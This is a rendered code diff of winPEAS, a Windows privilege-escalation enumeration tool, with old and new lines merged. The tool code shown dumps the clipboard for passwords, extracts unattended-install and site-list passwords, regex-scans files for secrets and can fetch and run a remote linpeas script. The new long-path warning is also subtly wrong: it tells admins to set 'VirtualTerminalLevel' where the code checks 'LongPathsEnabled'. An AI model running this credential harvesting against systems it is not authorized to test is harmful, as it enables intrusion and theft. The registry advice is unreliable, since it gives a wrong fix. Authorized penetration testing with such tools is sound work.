- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1)
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
## PEASS Style ## PEASS Style
@@ -22,4 +24,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
By Polop<sup>(TM)</sup> By Polop

View File

@@ -2,7 +2,7 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)** **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation) Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)

View File

@@ -52,7 +52,7 @@ CALL :ColorLine " %E%41mUse it at your own networks and/or with the network ow
ECHO. ECHO.
:SystemInfo :SystemInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
@@ -404,7 +404,7 @@ CALL :T_Progress 1
:CurrentClipboard :CurrentClipboard
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD" CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
ECHO. [i] Any password inside the clipboard? ECHO. [i] Any passwords inside the clipboard?
powershell -command "Get-Clipboard" 2>nul powershell -command "Get-Clipboard" 2>nul
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -565,7 +565,7 @@ CALL :T_Progress 2
:AppCMD :AppCMD
CALL :ColorLine " %E%33m[+]%E%97m AppCmd" CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2

View File

@@ -53,6 +53,7 @@ $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions someti
## Parameters Examples ## Parameters Examples
```bash ```bash
winpeas.exe -h # Get Help
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs) winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
winpeas.exe notcolor #Do not color the output winpeas.exe notcolor #Do not color the output
@@ -64,34 +65,6 @@ winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpea
winpeas.exe -lolbas #Execute also additional LOLBAS search check winpeas.exe -lolbas #Execute also additional LOLBAS search check
``` ```
## Help
```
domain Enumerate domain information
systeminfo Search system information
userinfo Search user information
processinfo Search processes information
servicesinfo Search services information
applicationsinfo Search installed applications information
networkinfo Search network information
windowscreds Search windows credentials
browserinfo Search browser information
filesinfo Search generic files that can contains credentials
fileanalysis Search specific files that can contains credentials and for regexes inside files
eventsinfo Display interesting events information
quiet Do not print banner
notcolor Don't use ansi colors (all white)
searchpf Search credentials via regex also in Program Files folders
wait Wait for user input between checks
debug Display debugging information - memory usage, method execution time
log[=logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
Additional checks (slower):
-lolbas Run additional LOLBAS check
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
(default: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)
```
## Basic information ## Basic information
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments. The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
@@ -285,4 +258,4 @@ If you find any issue, please report it using **[github issues](https://github.c
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com) By Polop

View File

@@ -1,5 +1,4 @@
using System.Reflection; using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following

View File

@@ -3,4 +3,7 @@
<startup useLegacyV2RuntimeActivationPolicy="true"> <startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
<runtime>
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
</runtime>
</configuration> </configuration>

View File

@@ -27,8 +27,8 @@ namespace winPEAS.Checks
{ {
Beaprint.MainPrint("Current Active Window Application"); Beaprint.MainPrint("Current Active Window Application");
string title = ApplicationInfoHelper.GetActiveWindowTitle(); string title = ApplicationInfoHelper.GetActiveWindowTitle();
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
if (permsFile.Count > 0) if (permsFile.Count > 0)
{ {
Beaprint.BadPrint(" " + title); Beaprint.BadPrint(" " + title);
@@ -188,8 +188,8 @@ namespace winPEAS.Checks
foreach (Dictionary<string, string> sapp in scheduled_apps) foreach (Dictionary<string, string> sapp in scheduled_apps)
{ {
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs); List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs); List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
string formString = " ({0}) {1}: {2}"; string formString = " ({0}) {1}: {2}";
if (fileRights.Count > 0) if (fileRights.Count > 0)
@@ -238,8 +238,8 @@ namespace winPEAS.Checks
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft()) foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
{ {
string pathDriver = driver.Key; string pathDriver = driver.Key;
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
Dictionary<string, string> colorsD = new Dictionary<string, string>() Dictionary<string, string> colorsD = new Dictionary<string, string>()
{ {

View File

@@ -35,6 +35,9 @@ namespace winPEAS.Checks
public static string PaintActiveUsersNoAdministrator = ""; public static string PaintActiveUsersNoAdministrator = "";
public static string PaintDisabledUsers = ""; public static string PaintDisabledUsers = "";
public static string PaintDisabledUsersNoAdministrator = ""; public static string PaintDisabledUsersNoAdministrator = "";
public static bool IsLongPath = false;
public static bool WarningIsLongPath = false;
public static int MaxRegexFileSize = 1000000;
//static string paint_lockoutUsers = ""; //static string paint_lockoutUsers = "";
public static string PaintAdminUsers = ""; public static string PaintAdminUsers = "";
public static YamlConfig YamlConfig; public static YamlConfig YamlConfig;
@@ -159,6 +162,16 @@ namespace winPEAS.Checks
SearchProgramFiles = true; SearchProgramFiles = true;
} }
if (string.Equals(arg, "max-regex-file-size", StringComparison.CurrentCultureIgnoreCase))
{
var parts = arg.Split('=');
if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))
{
MaxRegexFileSize = Int32.Parse(parts[1]);
}
}
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase)) if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
{ {
IsLolbas = true; IsLolbas = true;
@@ -206,6 +219,8 @@ namespace winPEAS.Checks
CheckRegANSI(); CheckRegANSI();
} }
CheckLongPath();
Beaprint.PrintInit(); Beaprint.PrintInit();
CheckRunner.Run(CreateDynamicLists, IsDebug); CheckRunner.Run(CreateDynamicLists, IsDebug);
@@ -348,8 +363,8 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.GrayPrint(" - Creating disabled users list..."); Beaprint.GrayPrint(" - Creating disabled users list...");
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false)); PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", ""); PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -396,7 +411,7 @@ namespace winPEAS.Checks
try try
{ {
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "") if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD"); Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -404,6 +419,24 @@ namespace winPEAS.Checks
} }
} }
private static void CheckLongPath()
{
try
{
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
{
Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
IsLongPath = false;
}
else
IsLongPath = true;
}
catch (Exception ex)
{
Beaprint.GrayPrint("Error while checking LongPathsEnabled registry: " + ex);
}
}
private static void WaitInput() private static void WaitInput()
{ {
Console.Write("\n -- Press a key to continue... "); Console.Write("\n -- Press a key to continue... ");

View File

@@ -1,5 +1,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
@@ -26,7 +27,7 @@ namespace winPEAS.Checks
}.ForEach(action => CheckRunner.Run(action, isDebug)); }.ForEach(action => CheckRunner.Run(action, isDebug));
} }
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles=true) private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)
{ {
var files = new List<CustomFileInfo>(); var files = new List<CustomFileInfo>();
var systemDrive = $"{SearchHelper.SystemDrive}\\"; var systemDrive = $"{SearchHelper.SystemDrive}\\";
@@ -70,6 +71,9 @@ namespace winPEAS.Checks
private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound) private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)
{ {
if (Checks.IsDebug)
Beaprint.PrintDebugLine($"Searching for {fileName}");
bool isRegexSearch = fileName.Contains("*"); bool isRegexSearch = fileName.Contains("*");
bool isFolder = fileSettings.files != null; bool isFolder = fileSettings.files != null;
string pattern = string.Empty; string pattern = string.Empty;
@@ -114,7 +118,8 @@ namespace winPEAS.Checks
if (isFileFound) if (isFileFound)
{ {
if (!somethingFound) { if (!somethingFound)
{
Beaprint.MainPrint($"Found {searchName} Files"); Beaprint.MainPrint($"Found {searchName} Files");
somethingFound = true; somethingFound = true;
} }
@@ -139,6 +144,7 @@ namespace winPEAS.Checks
} }
} }
return new bool[] { false, somethingFound }; return new bool[] { false, somethingFound };
} }
@@ -149,15 +155,39 @@ namespace winPEAS.Checks
try try
{ {
Regex rgx; Regex rgx;
bool is_re_match = false;
try
{
// Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches"
if (caseinsensitive) if (caseinsensitive)
{
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120));
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase); rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase);
}
else else
{
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120));
rgx = new Regex(regex_str.Trim()); rgx = new Regex(regex_str.Trim());
}
}
catch (RegexMatchTimeoutException e)
{
if (Checks.IsDebug)
{
Beaprint.GrayPrint($"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)");
}
return foundMatches;
}
if (!is_re_match)
{
return foundMatches;
}
int cont = 0; int cont = 0;
foreach (Match match in rgx.Matches(text)) foreach (Match match in rgx.Matches(text))
{ {
if (cont > 4) break; if (cont > 10) break;
if (match.Value.Length < 400 && match.Value.Trim().Length > 2) if (match.Value.Length < 400 && match.Value.Trim().Length > 2)
foundMatches.Add(match.Value); foundMatches.Add(match.Value);
@@ -232,7 +262,7 @@ namespace winPEAS.Checks
".txt", ".text", ".md", ".markdown", ".toml", ".rtf", ".txt", ".text", ".md", ".markdown", ".toml", ".rtf",
// config // config
".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml", ".cnf", ".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml",
// dev // dev
".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1", ".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1",
@@ -246,11 +276,30 @@ namespace winPEAS.Checks
"eula.rtf", "changelog.md" "eula.rtf", "changelog.md"
}; };
// No dirs, less thatn 1MB, only interesting extensions and not false positives files. if (Checks.IsDebug)
var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < 1000000).ToList(); Beaprint.PrintDebugLine("Looking for secrets inside files via regexes");
// No dirs, less than 1MB, only interesting extensions and not false positives files.
var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList();
var config = Checks.RegexesYamlConfig; // Get yaml info var config = Checks.RegexesYamlConfig; // Get yaml info
Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { }; Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { };
if (Checks.IsDebug)
{
Beaprint.PrintDebugLine($"Searching regexes in {files.Count} files");
valid_extensions.ForEach(ext =>
{
int cont = 0;
files.ForEach(f =>
{
if (f.Extension.ToLower() == ext.ToLower())
cont++;
});
Beaprint.PrintDebugLine($"Found {cont} files with ext {ext}");
});
}
/* /*
* Useful for debbugging purposes to see the common file extensions found * Useful for debbugging purposes to see the common file extensions found
Dictionary <string, int> dict_str = new Dictionary<string, int>(); Dictionary <string, int> dict_str = new Dictionary<string, int>();
@@ -269,6 +318,74 @@ namespace winPEAS.Checks
Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value)); Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value));
}*/ }*/
//double pb = 0;
//using (var progress = new ProgressBar())
//{
// CheckRunner.Run(() =>
// {
// int num_threads = 8;
// try
// {
// num_threads = Environment.ProcessorCount;
// }
// catch (Exception ex) { }
// Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
// {
// foreach (var regex_obj in config.regular_expresions)
// {
// foreach (var regex in regex_obj.regexes)
// {
// if (regex.disable != null && regex.disable.ToLower().Contains("winpeas"))
// {
// continue;
// }
// List<string> results = new List<string> { };
// var timer = new Stopwatch();
// if (Checks.IsDebug)
// {
// timer.Start();
// }
// try
// {
// string text = File.ReadAllText(f.FullPath);
// results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
// if (results.Count > 0)
// {
// if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
// if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
// foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
// }
// }
// catch (System.IO.IOException)
// {
// // Cannot read the file
// }
// if (Checks.IsDebug)
// {
// timer.Stop();
// TimeSpan timeTaken = timer.Elapsed;
// if (timeTaken.TotalMilliseconds > 20000)
// Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
// }
// }
// }
// pb += (double)100 / files.Count;
// progress.Report(pb / 100); //Value must be in [0..1] range
// });
// }, Checks.IsDebug);
//}
double pb = 0; double pb = 0;
using (var progress = new ProgressBar()) using (var progress = new ProgressBar())
{ {
@@ -283,8 +400,6 @@ namespace winPEAS.Checks
Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f => Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
{ {
//foreach (var f in files)
//{
foreach (var regex_obj in config.regular_expresions) foreach (var regex_obj in config.regular_expresions)
{ {
foreach (var regex in regex_obj.regexes) foreach (var regex in regex_obj.regexes)
@@ -294,34 +409,63 @@ namespace winPEAS.Checks
continue; continue;
} }
List<string> results = new List<string> { }; Dictionary<string, List<string>> fileResults = new Dictionary<string, List<string>>();
var timer = new Stopwatch();
if (Checks.IsDebug)
{
timer.Start();
}
try try
{ {
string text = System.IO.File.ReadAllText(f.FullPath); using (StreamReader sr = new StreamReader(f.FullPath))
{
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive); string line;
while ((line = sr.ReadLine()) != null)
{
List<string> results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive);
if (results.Count > 0) if (results.Count > 0)
{
if (!fileResults.ContainsKey(f.FullPath))
{
fileResults[f.FullPath] = new List<string>();
}
fileResults[f.FullPath].AddRange(results);
}
}
}
if (fileResults.Count > 0)
{ {
if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { }; if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { }; if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
foundRegexes[regex_obj.name][regex.name][f.FullPath] = results; foundRegexes[regex_obj.name][regex.name] = fileResults;
} }
} }
catch (System.IO.IOException) catch (System.IO.IOException)
{ {
// Cannot read the file // Cannot read the file
} }
if (Checks.IsDebug)
{
timer.Stop();
TimeSpan timeTaken = timer.Elapsed;
if (timeTaken.TotalMilliseconds > 20000)
Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
}
} }
} }
pb += (double)100 / files.Count; pb += (double)100 / files.Count;
progress.Report(pb / 100); //Value must be in [0..1] range progress.Report(pb / 100); //Value must be in [0..1] range
}); });
//}
}, Checks.IsDebug); }, Checks.IsDebug);
} }
// Print results // Print results
foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes) foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)
{ {
@@ -389,7 +533,7 @@ namespace winPEAS.Checks
// If contains undesireable string, stop processing // If contains undesireable string, stop processing
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0) if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
{ {
foreach(var rem_path in fileSettings.remove_path.Split('|')) foreach (var rem_path in fileSettings.remove_path.Split('|'))
{ {
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower())) if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
return false; return false;
@@ -398,8 +542,10 @@ namespace winPEAS.Checks
if (fileSettings.type == "f") if (fileSettings.type == "f")
{ {
var colors = new Dictionary<string, string>(); var colors = new Dictionary<string, string>
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad); {
{ fileInfo.Filename, Beaprint.ansi_color_bad }
};
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors); Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
if (!(bool)fileSettings.just_list_file) if (!(bool)fileSettings.just_list_file)
@@ -409,8 +555,10 @@ namespace winPEAS.Checks
} }
else if (fileSettings.type == "d") else if (fileSettings.type == "d")
{ {
var colors = new Dictionary<string, string>(); var colors = new Dictionary<string, string>
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad); {
{ fileInfo.Filename, Beaprint.ansi_color_bad }
};
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors); Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
// just list the directory // just list the directory

View File

@@ -159,7 +159,7 @@ namespace winPEAS.Checks
{ {
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}"; string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"])); Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
System.Console.WriteLine(""); Console.WriteLine("");
} }
} }
else else
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
{ {
List<string> pwds = Unattended.ExtractUnattendedPwd(path); List<string> pwds = Unattended.ExtractUnattendedPwd(path);
Beaprint.BadPrint(" " + path); Beaprint.BadPrint(" " + path);
System.Console.WriteLine(string.Join("\n", pwds)); Console.WriteLine(string.Join("\n", pwds));
} }
} }
catch (Exception ex) catch (Exception ex)
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
foreach (var site in sitelistFilesInfo.Sites) foreach (var site in sitelistFilesInfo.Sites)
{ {
Beaprint.NoColorPrint($" Share Name : {site.ShareName}"); Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName)); PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server)); PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword)); PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword)); PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" + Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
$" Name : {site.Name}\n" + $" Name : {site.Name}\n" +
$" Type : {site.Type}\n" + $" Type : {site.Type}\n" +
$" Relative Path : {site.RelativePath}\n"); $" Relative Path : {site.RelativePath}\n");
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success) if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
{ {
Beaprint.DictPrint(rec_file, colorF, true); Beaprint.DictPrint(rec_file, colorF, true);
System.Console.WriteLine(); Console.WriteLine();
} }
} }
} }

View File

@@ -81,7 +81,7 @@ namespace winPEAS.Checks
{ {
if (line.Length > 0 && line[0] != '#') if (line.Length > 0 && line[0] != '#')
{ {
System.Console.WriteLine(" " + line.Replace("\t", " ")); Console.WriteLine(" " + line.Replace("\t", " "));
} }
} }
} }
@@ -304,8 +304,8 @@ namespace winPEAS.Checks
Beaprint.GrayPrint(" DENY rules:"); Beaprint.GrayPrint(" DENY rules:");
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules()) foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
{ {
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs)); string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs)); string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}"; string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
if (filePerms.Length > 0) if (filePerms.Length > 0)
formString += "\n File Permissions: {8}"; formString += "\n File Permissions: {8}";

View File

@@ -20,7 +20,7 @@ namespace winPEAS.Checks
{ {
CheckRunner.Run(() => CheckRunner.Run(() =>
{ {
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs); modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
}, isDebug); }, isDebug);
} }
catch (Exception ex) catch (Exception ex)
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
foreach (Dictionary<string, string> serviceInfo in services_info) foreach (Dictionary<string, string> serviceInfo in services_info)
{ {
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs); List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
List<string> dirRights = new List<string>(); List<string> dirRights = new List<string>();
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "") if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
{ {
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs); dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
} }
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]); bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
{ {
